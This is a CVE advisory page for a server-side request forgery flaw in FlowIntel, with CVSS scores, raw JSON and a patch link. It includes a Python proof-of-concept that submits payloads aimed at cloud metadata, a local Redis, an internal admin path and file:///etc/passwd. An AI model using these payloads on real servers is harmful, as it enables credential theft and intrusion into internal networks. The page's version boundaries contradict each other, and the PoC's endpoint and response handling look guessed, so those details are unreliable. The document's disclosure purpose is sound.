Security Vulnerability Report
中文
CVE-2026-9813 CVSS 9.9 CRITICAL

CVE-2026-9813

Published: 2026-05-28 10:16:40
Last Modified: 2026-06-04 18:03:33
Source: 5a6e4751-2f3f-4070-9419-94fb35b644e8

Description

FlowIntel up to version 3.3.0 contains a server-side request forgery (SSRF) vulnerability in the external reference URL probe functionality in app/case/task.py. An attacker who can submit an external reference URL can cause the application server to issue an HTTP HEAD request to an attacker-specified destination. Due to insufficient validation of the URL scheme and resolved destination address, affected versions may allow requests to loopback, link-local, private, reserved, or other restricted network resources, potentially enabling interaction with internal services or cloud metadata endpoints from the server's network context.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:flowintel:flowintel:*:*:*:*:*:*:*:* - VULNERABLE
FlowIntel < 3.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-9813 SSRF PoC for FlowIntel # Target: FlowIntel <= 3.3.0 TARGET_URL = "http://target-server/flowintel" LOGIN_URL = f"{TARGET_URL}/login" EXTERNAL_REFERENCE_URL = "/case/external-reference/add" def exploit_ssrf(target_url, attacker_controlled_url): """ Exploit SSRF vulnerability in FlowIntel external reference URL probe """ session = requests.Session() # Step 1: Login to FlowIntel login_data = { 'username': 'attacker_account', 'password': 'attacker_password' } session.post(LOGIN_URL, data=login_data) # Step 2: Submit external reference URL with SSRF payload ssrf_payloads = [ f"http://169.254.169.254/latest/meta-data/", # AWS metadata f"http://localhost:6379/", # Redis access f"http://127.0.0.1/admin/config", # Internal admin f"file:///etc/passwd", # File protocol ] for payload in ssrf_payloads: data = { 'url': payload, 'description': 'SSRF Test' } response = session.post( f"{TARGET_URL}{EXTERNAL_REFERENCE_URL}", data=data ) print(f"Payload: {payload}") print(f"Response Status: {response.status_code}") print(f"Response: {response.text[:500]}") print("-" * 50) if __name__ == "__main__": exploit_ssrf(TARGET_URL, "http://169.254.169.254/")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9813", "sourceIdentifier": "5a6e4751-2f3f-4070-9419-94fb35b644e8", "published": "2026-05-28T10:16:40.243", "lastModified": "2026-06-04T18:03:33.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FlowIntel up to version 3.3.0 contains a server-side request forgery (SSRF) vulnerability in the external reference URL probe functionality in app/case/task.py. An attacker who can submit an external reference URL can cause the application server to issue an HTTP HEAD request to an attacker-specified destination. Due to insufficient validation of the URL scheme and resolved destination address, affected versions may allow requests to loopback, link-local, private, reserved, or other restricted network resources, potentially enabling interaction with internal services or cloud metadata endpoints from the server's network context."}], "metrics": {"cvssMetricV40": [{"source": "5a6e4751-2f3f-4070-9419-94fb35b644e8", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:N/VA:N/SC:L/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:X/R:X/V:X/RE:L/U:Green", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NEGLIGIBLE", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "LOW", "providerUrgency": "GREEN"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "5a6e4751-2f3f-4070-9419-94fb35b644e8", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:flowintel:flowintel:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.3.0", "matchCriteriaId": "16ABDB2E-8C58-4EC8-9649-4D2F835A45F5"}]}]}], "references": [{"url": "https://github.com/flowintel/flowintel/commit/68b523b47854c54bf36fd706c0fd5353063b5409", "source": "5a6e4751-2f3f-4070-9419-94fb35b644e8", "tags": ["Patch"]}]}}